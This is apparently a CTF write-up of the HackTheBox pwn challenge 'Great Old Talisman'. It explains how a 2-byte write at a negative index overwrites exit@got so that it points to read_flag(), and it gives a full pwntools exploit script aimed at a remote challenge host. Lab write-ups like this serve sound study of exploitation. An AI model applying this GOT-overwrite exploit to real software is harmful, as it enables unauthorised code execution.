← Back to Writeups
HTBN/APwn

Great Old Talisman

XESXOR8/23/20262 min read
#pwn#htb#n/a

Great Old Talisman

Platform: HackTheBox | Category: Pwn | Difficulty: N/A | Author: D3v0o0Nu11 | Date: 2026-02-10

Description

Zombies are closing in from all directions, and our situation appears dire! Fortunately, we've come across this ancient and formidable Great Old Talisman, a source of hope and protection. However, it requires the infusion of a potent enchantment to unleash its true power.

Solution Approach

Core idea: Calculating offset for exit@got entry. Utilizing 2 bytes overflow to overwrite exit@got.

Steps

  1. In this challenge we're given a 64 bit binary, dynamically linked, and not stripped.

BINARY PROTECTIONS

  1. After decompiled the binary and reviewing the code, found the vuln at the main() function where there's a read() function call to accepts 2 bytes but users can actually fill up to input * 8 bytes.

  2. Knowing this we can overwrite pointer of exit@got and points it to what ever we want by modifying the last 2 bytes.

  3. Checking for useful functions, found a function that seems to be our goal. It's read_flag().

  4. This function print the content flag to us.

  5. The exploit flow is:

- Calculate the offset for exit@got entry.
- Overwrite exit@got pointer to read_flag().
  1. To calculate the exit@got entry, we can use GDB.

  2. Awesome! Based on the result above, we can identify that we need to pass -4 (because offset calculation of talis to exit@got, remember the libc and pie calculations logic) as the input.

  3. Lastly, since we want to overwrite the last 2 bytes of exit@got with last 2 bytes of read_flag(), we can use AND operations to address of read_flag() with 0XFFFF.

  4. After executes the AND operations, packed the bytes result into p16() bytes wrapper (half of 64 bit).

  5. Here's the full script:

SCRIPT

from pwn import *
import os
os.system('clear')

exe = './great_old_talisman'
elf = context.binary = ELF(exe, checksec=False)

### context.log_level = 'DEBUG'

context.log_level = 'INFO'

### sh = process(exe)

sh = remote('94.237.62.195',49760)

sh.sendlineafter(b'>', b'-4')

### read_flag = p16(elf.sym['read_flag'] & 0xFFFF)

### print(read_flag)

sh.sendlineafter(b':', p16(elf.sym['read_flag'] & 0xFFFF))

### gdb.attach(sh)

sh.interactive()

Flag

REDACTED

Lessons Learned

  1. Calculating offset for exit@got entry.
  2. Utilizing 2 bytes overflow to overwrite exit@got.